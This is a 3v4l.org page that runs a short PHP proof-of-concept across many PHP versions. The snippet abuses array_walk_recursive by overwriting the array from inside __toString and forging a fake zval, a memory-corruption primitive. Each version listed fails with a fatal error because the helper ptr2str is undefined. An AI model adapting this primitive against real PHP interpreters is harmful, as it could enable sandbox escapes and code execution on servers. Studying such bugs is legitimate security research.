3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { function __tostring() { global $arr, $zval; $arr = 1; $zval = ptr2str(2); $zval .= ptr2str(0x1122334455); $zval .= "\x00\x00\x00\x00"; $zval .= "\x05"; $zval .= "\x00"; $zval .= "\x00\x00"; return 'hi'; } } $arr = array('string' => new obj, 1); array_walk_recursive($arr, 'settype');
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Fatal error: Uncaught Error: Call to undefined function ptr2str() in /in/ONlnn:10 Stack trace: #0 [internal function]: obj->__tostring() #1 [internal function]: settype(Object(obj), 'string') #2 /in/ONlnn(22): array_walk_recursive(1, 'settype') #3 {main} Next TypeError: Iterated value is no longer an array or object in /in/ONlnn:22 Stack trace: #0 /in/ONlnn(22): array_walk_recursive(1, 'settype') #1 {main} thrown in /in/ONlnn on line 22
Process exited with code 255.
Output for 7.4.0 - 7.4.33
Warning: array_walk_recursive(): Iterated value is no longer an array or object in /in/ONlnn on line 22 Fatal error: Uncaught Error: Call to undefined function ptr2str() in /in/ONlnn:10 Stack trace: #0 [internal function]: obj->__tostring() #1 [internal function]: settype('', 'string') #2 /in/ONlnn(22): array_walk_recursive(1, 'settype') #3 {main} thrown in /in/ONlnn on line 10
Process exited with code 255.
Output for 7.0.1 - 7.0.20, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33
Fatal error: Method obj::__toString() must not throw an exception, caught Error: Call to undefined function ptr2str() in /in/ONlnn on line 22
Process exited with code 255.
Output for 7.0.0
Fatal error: Method obj::__toString() must not throw an exception in /in/ONlnn on line 22
Process exited with code 255.
Output for 5.5.24 - 5.5.35, 5.6.8 - 5.6.21
Fatal error: Call to undefined function ptr2str() in /in/ONlnn on line 10
Process exited with code 255.

preferences:
182.53 ms | 405 KiB | 197 Q